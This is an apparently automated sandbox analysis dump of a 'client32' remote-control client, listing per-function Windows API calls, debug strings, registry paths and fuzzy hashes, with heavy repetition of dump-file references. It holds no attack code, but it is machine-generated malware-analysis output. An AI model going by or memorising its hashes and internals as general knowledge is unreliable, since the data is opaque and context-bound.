Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Select$Color$BrushCreateDeleteInflateRectRectangleSolidStock
String ID:
API String ID: 4121194973-0
Opcode ID: 07505c943f7c904391ce3d31e9dbb197024d6e0b57b5ab35bcc31df3057bc37b
Instruction ID: 33f6d49190b9b24a29b1cc3641f5325a4e922881409c492489886216f2d26618
Opcode Fuzzy Hash: 07505c943f7c904391ce3d31e9dbb197024d6e0b57b5ab35bcc31df3057bc37b
Instruction Fuzzy Hash: 98410AB5A00219AFDB18CFA9D8849AEF7F8FB8C314F104659E96593744DB34A941CBA0

Function 110EC080 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 220COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 110EC0A6
IsWindow.USER32(?), ref: 110EC0E5
_memmove.LIBCMT ref: 110EC1C9
IsWindow.USER32(?), ref: 110EC1F4
IsWindow.USER32(?), ref: 110EC233
_memmove.LIBCMT ref: 110EC304

Strings

IsA(), xrefs: 110EC143, 110EC170, 110EC283, 110EC2B0
sending %d pending64 packets to id=%d, xrefs: 110EC24C
sending %d pending packets to id=%d, xrefs: 110EC0FE
e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 110EC13E, 110EC16B, 110EC27E, 110EC2AB

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$_memmove
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h$sending %d pending packets to id=%d$sending %d pending64 packets to id=%d
API String ID: 2795716529-56098872
Opcode ID: b831a2aef7adc0e78416c8d07ea286e2aa2a92496e215c766d8791fe199a835f
Instruction ID: d8a14ece9aebe5fc759910a3ef787c23c29568686b565e81e139e8b64e86eac7
Opcode Fuzzy Hash: b831a2aef7adc0e78416c8d07ea286e2aa2a92496e215c766d8791fe199a835f
Instruction Fuzzy Hash: B071BC78B016069FD714CFA9DD84EAAF7F5BF89304B1841A8E85697740EB31F901CB60

Function 11033050 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 183clipboardCOMMON

Download Yara Rule

APIs

CountClipboardFormats.USER32 ref: 11033091

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 11110230: _malloc.LIBCMT ref: 11110239
Part of subcall function 11110230: _memset.LIBCMT ref: 11110262

EnumClipboardFormats.USER32(00000000), ref: 110330F6
GetLastError.KERNEL32 ref: 110331BF
GetLastError.KERNEL32(00000000), ref: 110331C2
IsClipboardFormatAvailable.USER32(00000008), ref: 11033225

Strings

ppFormats, xrefs: 11033080
..\ctl32\clipbrd.cpp, xrefs: 1103307B
Error enumclip, e=%d, x%x, xrefs: 110331C5

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClipboardErrorLast$Formats$AvailableCountEnumExitFormatMessageProcess_malloc_memsetwsprintf
String ID: ..\ctl32\clipbrd.cpp$Error enumclip, e=%d, x%x$ppFormats
API String ID: 3210887762-597690070
Opcode ID: 783cfaeac01b76432846342580ba7980eef49404acbb133f97720025ffc7a27a
Instruction ID: b804fa4b4600a3d7d633b164336aeb5b10f9113d5bb37ecf981567cf99ca6661
Opcode Fuzzy Hash: 783cfaeac01b76432846342580ba7980eef49404acbb133f97720025ffc7a27a
Instruction Fuzzy Hash: 02518B75E1822A8FDB10CFA8C8C479DFBB4EB85319F1041AAD859AB341EB719944CF90

Function 110CC170 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 143threadCOMMON

Download Yara Rule

APIs

SetPropA.USER32(?,AB86ACF8,?), ref: 110CC1FB
GetCurrentThreadId.KERNEL32 ref: 110CC20F

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

GetPropA.USER32(?), ref: 110CC241
wsprintfA.USER32 ref: 110CC26B
RemovePropA.USER32(?,00000110), ref: 110CC2B2
DestroyWindow.USER32(?), ref: 110CC2EE

Strings

p->m_attached == NULL, xrefs: 110CC1C3
cp=%x, attached=%x, msg=x%x, wP=x%x, lP=x%x, xrefs: 110CC265
..\ctl32\nsmdlg.cpp, xrefs: 110CC1A1, 110CC1BE, 110CC1DF, 110CC27C
m_aProp, xrefs: 110CC1E4

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Prop$wsprintf$CurrentDestroyErrorExitLastMessageProcessRemoveThreadWindow
String ID: ..\ctl32\nsmdlg.cpp$cp=%x, attached=%x, msg=x%x, wP=x%x, lP=x%x$m_aProp$p->m_attached == NULL
API String ID: 812309727-1527154164
Opcode ID: 3e5ce05be63e39b54263a7620cd87c041d38ce16679996f6af051447c9b9cf9e
Instruction ID: 7ee6c1d1fbb90971631718b64b6a11245d543e6534e72765267dc52c4282e58d
Opcode Fuzzy Hash: 3e5ce05be63e39b54263a7620cd87c041d38ce16679996f6af051447c9b9cf9e
Instruction Fuzzy Hash: 14415C76A00215ABD304CF61EC91FEEF7A8FB84718F004669FD1687640DB34A954DBD0

Function 110660A0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 110660C5
_memset.LIBCMT ref: 110660E9
_memset.LIBCMT ref: 1106613F
_strncpy.LIBCMT ref: 11066193
_strncpy.LIBCMT ref: 110661C9
_strncat.LIBCMT ref: 110661F7
_strncat.LIBCMT ref: 1106621D

Strings

PrintCapture, xrefs: 11066109, 1106615F
Printer, xrefs: 11066104
Drivers, xrefs: 1106615A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset_strncat_strncpy$_calloc
String ID: Drivers$PrintCapture$Printer
API String ID: 3453565913-1525524346
Opcode ID: 8e53ec29127167110db8139749ed4a57339a75ab7dc11517aaa3ebc3082e1d9b
Instruction ID: e5966f23d60a821bc949eb904edc655292dfad0084cacb2037a4aacc8ed38eb6
Opcode Fuzzy Hash: 8e53ec29127167110db8139749ed4a57339a75ab7dc11517aaa3ebc3082e1d9b
Instruction Fuzzy Hash: B441E675B00255AFE711DB68DC14FEBBBED9F45304F0841E4E9489B282EAB1AB14C791

Function 1101F2A0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 70windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32 ref: 1101F2B5
_memset.LIBCMT ref: 1101F2D8
GetMenuItemInfoA.USER32(?,00000000,00000001,?), ref: 1101F2F6
_free.LIBCMT ref: 1101F305

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

_free.LIBCMT ref: 1101F30E
DeleteObject.GDI32(00000000), ref: 1101F32D
DeleteObject.GDI32(00000000), ref: 1101F33B

Strings

UndoOwnerDraw, xrefs: 1101F2A7
, xrefs: 1101F2EF
0, xrefs: 1101F2E8

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DeleteItemMenuObject_free$CountErrorFreeHeapInfoLast_memset
String ID: $0$UndoOwnerDraw
API String ID: 4094458939-790594647
Opcode ID: 6ed4e77d9c016c8eff6e2e5212ae31cf16a08a19f327eae3f04c88df89f206e5
Instruction ID: 9f4c9540ed3e85911a06978235dbefa5e19a2329fc37d196683f21109e2371eb
Opcode Fuzzy Hash: 6ed4e77d9c016c8eff6e2e5212ae31cf16a08a19f327eae3f04c88df89f206e5
Instruction Fuzzy Hash: 16119671E162299BDB04DFE49C85B9DFBECBB18318F000069E814D7244E674A5108B91

Function 11046574 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 217COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 1104666D
GetTickCount.KERNEL32 ref: 110466B6
GetTickCount.KERNEL32 ref: 110466D6

Strings

IsMember(%ls, %ls) ret %d, took %u ms, xrefs: 110466F6
RecIsMember(%ls, %ls) ret %d, took %u ms, xrefs: 11046754

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$FreeString
String ID: IsMember(%ls, %ls) ret %d, took %u ms$RecIsMember(%ls, %ls) ret %d, took %u ms
API String ID: 2011556836-2400621309
Opcode ID: 69f61a2baa9fb0766ad057bd2a1d681a7a704c1839ba695c1c432c0a31945c9e
Instruction ID: 526fbaba51a485f2dd793f9eaee2f9ce6c1461205b491c382c0c72529cc68b9e
Opcode Fuzzy Hash: 69f61a2baa9fb0766ad057bd2a1d681a7a704c1839ba695c1c432c0a31945c9e
Instruction Fuzzy Hash: 16814075A0061A9BDB24DF54CD90BEAB3B5EF88714F1045E8E90997A40FB70AE41DF90

Function 110C01B0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 179windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110C01F2
GetClassNameA.USER32(?,?,00000040), ref: 110C0228
TranslateAcceleratorA.USER32(?,?,?), ref: 110C032B
TranslateMessage.USER32(?), ref: 110C0339
DispatchMessageA.USER32(?), ref: 110C0343
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 110C0363

Strings

HasListener(), xrefs: 110C0286
e:\nsmsrc\nsm\1210\1210f\ctl32\WBObject.h, xrefs: 110C0281
Internet Explorer_Server, xrefs: 110C022E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Translate$AcceleratorClassDispatchName
String ID: HasListener()$Internet Explorer_Server$e:\nsmsrc\nsm\1210\1210f\ctl32\WBObject.h
API String ID: 2790452592-1312810806
Opcode ID: a299c0a341d7359eb60e01caba3f66fa6322f248e60fac38c817ccec7eac8837
Instruction ID: 936b2eed32dfe800ad467d363562b9c3f6b2b04524ed739118aa387b7ad975e3
Opcode Fuzzy Hash: a299c0a341d7359eb60e01caba3f66fa6322f248e60fac38c817ccec7eac8837
Instruction Fuzzy Hash: 17519179E002599FCB04DFE9C8C0EAEB7BAFB89708B1085ADE5159B254E730A944CF50

Function 11051360 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 167COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110513F9
CloseHandle.KERNEL32(?,Client,UserAcknowledge,00000000,00000000), ref: 110514DB

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

Strings

10.21.0.0, xrefs: 11051396
UserAcknowledge, xrefs: 11051491, 110514AD
PolicyChanged, invalid user, disconnect, xrefs: 1105147C
Client, xrefs: 110513CF, 11051496, 110514B2
_profileSection, xrefs: 110513CA
PolicyChanged, userack needed, disconnect, xrefs: 110514C0
PolicyChanged, disconnect, xrefs: 11051532

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle__wcstoi64_memset
String ID: 10.21.0.0$Client$PolicyChanged, disconnect$PolicyChanged, invalid user, disconnect$PolicyChanged, userack needed, disconnect$UserAcknowledge$_profileSection
API String ID: 510078033-311296318
Opcode ID: 628bd5edbdc2b934cdea530cf6e87229bc90534bd2c32232888589127f272096
Instruction ID: d6821365ce57f0d8f52ec6341a9adbf8752ca4ec49bea4256a0f2cceaf2f1fbd
Opcode Fuzzy Hash: 628bd5edbdc2b934cdea530cf6e87229bc90534bd2c32232888589127f272096
Instruction Fuzzy Hash: D0513E75F4034AAFEB50CA61DC41FDAB7ACAB05708F144164FD05AB2C1EB71B604CB51

Function 1105A510 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 164synchronizationtimeCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8,AB86ACF8,?,?), ref: 1105A559
EnterCriticalSection.KERNEL32(?,?,?), ref: 1105A5BE
timeGetTime.WINMM(?,?), ref: 1105A5EC
GetTickCount.KERNEL32 ref: 1105A626
LeaveCriticalSection.KERNEL32(?,?,?), ref: 1105A69A
EnterCriticalSection.KERNEL32(?,?,?,?,?), ref: 1105A6B4
LeaveCriticalSection.KERNEL32(?,?,?), ref: 1105A6D9

Strings

_License, xrefs: 1105A657
maxslaves, xrefs: 1105A652

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$CountObjectSingleTickTimeWaittime
String ID: _License$maxslaves
API String ID: 3724810986-253336860
Opcode ID: 47acf8a46b654237af2362819ba01079215634d33959dcd664a85182bc47307d
Instruction ID: 218b07b8e86cb1b4b212646cc2ee7e6510c65d0581f7dc775b968cb85b8a58a4
Opcode Fuzzy Hash: 47acf8a46b654237af2362819ba01079215634d33959dcd664a85182bc47307d
Instruction Fuzzy Hash: AD519175E01716DFDB85CFA5C984AAAF7F8FB48708B004669E422D7644E730E990CFA0

Function 1105A0D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 141registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,AB86ACF8,00000000,00000000,74DF23A0,1105A377,00000000,00000000), ref: 1105A128
LeaveCriticalSection.KERNEL32(?), ref: 1105A24A

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

RegOpenKeyExA.ADVAPI32(-80000002,SOFTWARE\Productive Computer Insight\Client32\AutoReconnect,00000000,0002001F,?), ref: 1105A1DD
RegDeleteValueA.ADVAPI32(?,?), ref: 1105A1FD
RegCloseKey.ADVAPI32(?), ref: 1105A207
SetEvent.KERNEL32(?), ref: 1105A240

Strings

SOFTWARE\Productive Computer Insight\Client32\AutoReconnect, xrefs: 1105A19C, 1105A1D1
CltReconn.cpp, xrefs: 1105A10C
gMain.pReconnThread, xrefs: 1105A111

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterErrorEventExitLastLeaveMessageOpenProcessValuewsprintf
String ID: CltReconn.cpp$SOFTWARE\Productive Computer Insight\Client32\AutoReconnect$gMain.pReconnThread
API String ID: 1302350719-2578778249
Opcode ID: b86f74dc15627503e7c4bd94685024e8bca033cd23369bedd85c5e72bf16c997
Instruction ID: 1f49fd18d6206b038cc207d8770ec6d77d753ef3336a6f753e93b5d574fca70b
Opcode Fuzzy Hash: b86f74dc15627503e7c4bd94685024e8bca033cd23369bedd85c5e72bf16c997
Instruction Fuzzy Hash: 97412975D0072AEFD781CFA4CCC1AAABBA5FB05754F108269E926D7640D736E840CF90

Function 11029520 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 131COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1102965A
GetTickCount.KERNEL32 ref: 1102968A
GetTickCount.KERNEL32 ref: 110296C8

Strings

APMSUSPEND, suspended=%u, suspending=%u, resuming=%u, xrefs: 11029600
_debug, xrefs: 110296B1
IgnorePowerResume, xrefs: 110296AC
DisableStandby, xrefs: 1102959A
